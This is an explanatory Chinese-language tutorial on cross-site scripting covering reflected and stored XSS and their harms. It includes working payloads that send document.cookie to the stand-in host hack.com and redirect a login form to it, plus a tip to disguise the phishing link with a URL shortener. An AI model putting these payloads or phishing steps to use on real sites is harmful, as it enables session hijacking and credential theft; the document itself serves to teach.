XSS 叫跨站腳本攻擊(Cross Site Script),那么XSS原本應該叫做CSS,但是由於CSS的簡稱已經被連級樣式表 使用了,所以就換個稱謂XSS。
為什么叫做跨站腳本攻擊呢?
它的意思就是在別人的網站上嵌入腳本,而這個腳本原本不是屬於這個網站的。這個解釋很直觀吧。
怎么嵌入腳本呢?
比如這么個搜索結果頁,當用戶搜索test的時候,頁面會顯示“搜索關鍵詞:test”
這個時候,這里的test就很有可能會出現xss漏洞,如果該頁面是直接將用戶輸入的東西“返回”到頁面上,那么存在的xss漏洞就可以這樣利用:
輸入:<script>alert(1);</scrip>
那么頁面就會跳出alert(1);
這種XSS叫做反射性XSS。
再談論另外一種場景,每個網站都有反饋框。允許用戶反饋數據給后台。
而這個后台一般都是管理員進行審核,會在管理后台展示。
如果一個<script>var x=new Image(); x.src=”http://hack.com?cookie=”+document.cookie;</script>的反饋數據由用戶輸入
然后這個數據“直接”返回到管理后台上,那么這個時候,管理后台管理員的cookie就被作為參數傳遞到http://hack.com 了。后面黑客就可以使用cookie來做登錄管理后台了。
這種XSS由於攻擊代碼存儲進數據庫了,所以叫做存儲型XSS。
危害
一般來說,存儲型XSS的危害性大於反射型XSS。因為反射型XSS只會影響到自己,而存儲型的XSS可能會影響到網站的其他用戶。
XSS可以如上面例子說的:
1 盜取cookie
2 釣魚
比如我將一段代碼注入進某個網站的支付頁面,這段js代碼做的事情是,動態控制這個支付頁面的Form表單,比如將這個form表單的html替換成目標網站一個相似的html。
或者另一個案例是使用反射型XSS,我預先生成一個url,這個url是一個有反射型xss漏洞的頁面。比如 document.getElementById(“loginForm”).action=”http://hack.com”http://weibo.com/login?username=<script>document.getElementById(“loginForm”).action=”http://hack.com”</script> ,然后我將這個頁面通過qq的群郵件發給qq群中的所有人,一旦有人點擊這個鏈接,那么就會進入微博登陸頁,萬一再輸入用戶名密碼,那么這個人的用戶名密碼就會被盜了。當然,這個案例有個問題,url太假了,怎么辦?短鏈接服務。現在有很多廠商提供了短連接的服務。那么最后的鏈接是實際看不出來問題的。
3 DDOS攻擊
當然這個前提是有大量用戶已經被XSS攻擊了,所以他們瀏覽的頁面已經被植入了代碼,這個代碼的作用就是循環向一個網站發送請求,如果有xss漏洞的這個網站是有大量用戶的,比如微博,那么后一個被DDOS攻擊的網站就真心慘了。
總之,XSS的危害就在於網站的頁面可以被隨意嵌入js代碼。

